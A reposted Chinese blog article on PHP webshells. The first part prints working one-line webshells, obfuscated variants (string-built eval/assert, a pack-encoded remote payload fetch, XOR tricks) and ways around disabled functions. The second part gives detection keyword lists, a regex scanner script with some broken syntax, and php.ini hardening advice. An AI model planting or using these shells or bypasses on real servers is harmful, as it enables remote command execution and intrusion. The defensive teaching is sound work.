PHP安全之webshell和后門檢測


一、各種webshell

一句話木馬,其形式如下所示:

<?php
if (isset($_REQUEST[ 'cmd' ])){
     $cmd = ($_REQUEST[ "cmd" ]);
     system($cmd);
     echo  "</pre>$cmd<pre>" ;
     die;
}
?>

這種容易被安全軟件檢測出來。為了增強隱蔽性,出現了各種一句話木馬的變形,通過各種函數來偽裝,這里不得不吐槽PHP弱類型對於安全來說是致命的

a、使用str_replace函數

<?php $a =str_replace(x, "" , "axsxxsxexrxxt" );$a($_POST[ "code" ]); ?>
 
// 說明:請求參數  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode( "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" ))
最終執行命令<?php assert(fputs(fopen( 'c.php' ,w), "<?php @eval($_POST[a]);?>" ))?>

b、使用str_rot13函數

<?php ($code = $_POST[ 'code' ]) && @preg_replace( '/ad/e' , '@' .str_rot13( 'riny' ). '($code)' 'add' ); ?>
// 說明:首先,將 eval 函數用str_rot13( 'riny' )隱藏。然后,利用 e 修飾符,在preg_replace完成字符串替換后,使得引擎將結果字符串作為php代碼使用 eval 方式進行評估並將返回值作為最終參與替換的字符串。

c、使用include函數

<?php $filename=$_GET[ 'code' ];include ($filename); ?>
 
// 由於include方法可以直接編譯任何格式的文件為php格式運行,因此可以上傳一個txt格式的php文件,將真正的后門寫在文本當中。

d、使用pack函數

<?php  if (empty($_SESSION[ 'api' ]))
     $_SESSION[ 'api' ]=substr(file_get_contents(sprintf( '%s?  %s' ,pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
     @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[ 'api' ]),null);
?>

e、使用session

<?php
session_start();
$_POST[ 'code' ] && $_SESSION[ 'theCode' ] = trim($_POST[ 'code' ]);
$_SESSION[ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );

f、隱藏在html頁面

<!DOCTYPE HTML PUBLIC  "-//IETF//DTD HTML 2.0//EN" >
<html>< head >
<title>404 Not Found< /title >
< /head ><body>
<h1>Not Found< /h1 >
<p>The requested URL was not found on this server.< /p >
< /body >< /html >
<?php
@preg_replace( "/[pageerror]/e" ,$_POST[ 'error' ], "saft" );
header( 'HTTP/1.1 404 Not Found' );
?>

g、使用assert函數

<?php assert($_POST[sb]);?>

或者

<?php
$item[ 'wind' ] =  'assert' ;
$array[] = $item;
$array[0][ 'wind' ]($_POST[ 'iixosmse' ]);

h、使用copy函數復制文件

<?php
$reg= "c" . "o" . "p" . "y" ;
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

二、代碼混淆

<?php 
@$_++;  //  $_ = 1 
$__=( "#" ^ "|" );  //  $__ = _ 
$__.=( "." ^ "~" );  //  _P 
$__.=( "/" ^ "`" );  //  _PO 
$__.=( "|" ^ "/" );  //  _POS 
$__.=( "{" ^ "/" );  //  _POST 
${$__}[!$_](${$__}[$_]);  //  $_POST[0]($_POST[1]); 
?>

或者

<?php 
     $penh= "sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="
     $kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"
     $ftdf = str_replace( "w" , "" , "stwrw_wrwepwlwawcwe" ); 
     $wmmi= "X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"
     $zrmt= "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"
     $smgv = $ftdf( "f" "" "bfafsfef6f4_fdfefcodfe" ); 
     $jgfi = $ftdf( "l" , "" , "lclrlelaltel_functlilon" ); 
     $rdwm = $jgfi( '' , $smgv($ftdf( "gi" "" , $zrmt.$kthe.$wmmi.$penh))); $rdwm(); 
?>

可以使用weevely工具來生成,代碼偽裝避開各種主流的殺毒軟件

PHP后門生成工具weevely

weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個類似於telnet的連接shell,weevely通常用於web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼后通常可以通過weevely直接運行。

weevely所生成的PHP后門所使用的方法是現在比較主流的base64加密結合字符串變形技術,后門中所使用的函數均是常用的字符串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃描,結果顯示該文件無任何威脅。

更常用的混淆視聽的方法:(這種是服務器層面的混淆)

  • 修改文件時間

  • 改名融入上傳后所在文件夾,讓人無法直觀看出文件異常

  • 文件大小的偽裝處理(至少看起大小像個正常腳本)

  • 選好藏身路徑並盡量少的訪問

  • 畸形目錄%20

三、如果繞過配置文件

一般的服務器管理員會把 system、exec等危險函數禁用的,那么如何繞過呢?

1、使用反射

相關內容可參考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php

<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

 

2、使用callback

php提供的另外一種可間接調用函數的方法是callback. 這里使用了ob_start.具體說明可參考:http://www.php.net/manual/en/function.ob-start.php

<?php
$cb=  'system' ;
ob_start($cb);
echo  $_GET[c];
ob_end_flush();
?>

php中支持callback的函數還有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

 

四、安全人員應該怎么做

1、如何查找

直觀尋找方式也有很多

  • 通過文件名/修改時間/大小,文件備份比對發現異常(SVN/Git對比,查看文件是否被修改)

  • 通過WEBSHELL后門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通過access.log訪問日志分析

下面是360 zhujiweishi ,在linux服務器上非常簡單好用

通過常見的關鍵詞如(可以使用find 和 grep 等命令結合起來搜索代碼中是否包含以下文件)

  • 系統命令執行: system, passthru, shell_exec, exec, popen, proc_open

  • 代碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通過簡單的python腳本

#!/usr/bin/env python
# encoding: utf-8
  
import  os,sys
import  re
import  hashlib
import  time
  
rulelist  =  [
     '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))' ,
     '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))' ,
     '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})' ,
     '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))' ,
     '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))' ,
     '(\$(\w+)\s*\(\s.chr\(\d+\)\))' ,
     '(\$(\w+)\s*\$\{(.*)\})' ,
     '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))' ,
     '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))' ,
     '(\$\_\=(.*)\$\_)' ,
     '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))' ,
     '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))' ,
     '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))' ,
     '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))' ,
     '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))' ,
     '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))' ,
     '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))' ,
     '(eval\s*\(\s*\(\s*\$\$(\w+))' ,
     '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))' ,
     '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
     ]
  
def  scan(path):
     print ( '           可疑文件         ' )
     print ( '*' * 30 )
     for  root,dirs,files  in  os.walk(path):
         for  filespath  in  files:
             if  os.path.getsize(os.path.join(root,filespath))< 1024000 :
                 file =  open (os.path.join(root,filespath))
                 filestr  =  file .read()
                 file .close()
                 for  rule  in  rulelist:
                     result  =  re. compile (rule).findall(filestr)
                     if  result:
                         print  '文件:' + os.path.join(root,filespath )
                         print  '惡意代碼:' + str (result[ 0 ][ 0 : 200 ])
                         print  ( '最后修改時間:' + time.strftime( '%Y-%m-%d %H:%M:%S' ,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                         print  '\n\n'
                         break
def  md5sum(md5_file):
     =  hashlib.md5()
     fp  =  open (md5_file)
     m.update(fp.read())
     return  m.hexdigest()
     fp.close()
  
if  md5sum( '/etc/issue' = =  '3e3c7c4194b12af573ab11c16990c477' :
     if  md5sum( '/usr/sbin/sshd' = =  'abf7a90c36705ef679298a44af80b10b' :
         pass
     else :
         print ( '*' * 40 )
         print  "\033[31m sshd被修改,疑似留有后門\033[m"
         print ( '*' * 40 )
         time.sleep( 5 )
if  md5sum( '/etc/issue' = =  '6c9222ee501323045d85545853ebea55' :
     if  md5sum( '/usr/sbin/sshd' = =  '4bbf2b12d6b7f234fa01b23dc9822838' :
         pass
     else :
         print ( '*' * 40 )
         print  "\033[31m sshd被修改,疑似留有后門\033[m"
         print ( '*' * 40 )
         time.sleep( 5 )
if  __name__ = = '__main__' :
  
     if  len (sys.argv)! = 2 :
         print  '參數錯誤'
         print  "\t按惡意代碼查找:" + sys.argv[ 0 ] + '目錄名'
     if  os.path.lexists(sys.argv[ 1 ])  = =  False :
         print  "目錄不存在"
         exit()
     print  ( '\n\n開始查找:' + sys.argv[ 1 ])
     if  len (sys.argv)  = = 2 :
         scan(sys.argv[ 1 ])
     else :
         exit()

2、如何防范

php.ini 設置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 設置“safe_mode”為“on”

  • 禁止“open_basedir” 可以禁止指定目錄之外的文件操作

  • expose_php設為off 這樣php不會在http文件頭中泄露信息

  • 設置“allow_url_fopen”為“off” 可禁止遠程文件功能

  • log_errors”設為“on” 錯誤日志開啟

php編碼方面

  • 所有用戶提交的信息  post get 或是其他形式提交的數據 都要單獨寫個過濾函數處理一遍,養成習慣(intval,strip_tags,mysql_real_escape_string)

  • 經常檢查有沒有一句話木馬 eval($_POST[ 全站搜索php代碼有沒有這樣的源代碼

  • 文件要命名規范 至少讓自己可以一目了然,哪些php文件名字有問題

  • 如用開源代碼,有補丁出來的話,盡快打上補丁

  • 如果攻擊者拿到了服務器的最高權限,有可能通過修改服務器的配置文件php.ini來達到他們隱藏后門的目的,前幾年比較流行。原理如下:php.ini 里面的這兩個配置項:auto_prepend_file ,auto_append_file 可以讓php解析前,自己加點東西進去 Automatically add files before or after any PHP document,如果被配置了eval()函數的后門 那就很陰險了,php文件代碼里面查不出,只會在php解析前包含eval()函數進來 並且因為是全局的 所以所有php頁面都是后門!所以要先確認auto_prepend_file ,auto_append_file沒被配置成其他東西,才進行第3點的源代碼檢查。

服務器配置

配置的時候盡量使用最小權限,不要寫入或者執行的目錄不能給相應的權限

nginx或者apache配置的時候,不能訪問的目錄一定要配置為deny

 

 

 

文章出處;https://www.cnblogs.com/chenpingzhao/p/6562415.html

參考文章

https://github.com/chenpingzhao/php-webshells

http://blog.csdn.net/miltonzhong/article/details/9714367

http://blog.jobbole.com/53821/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM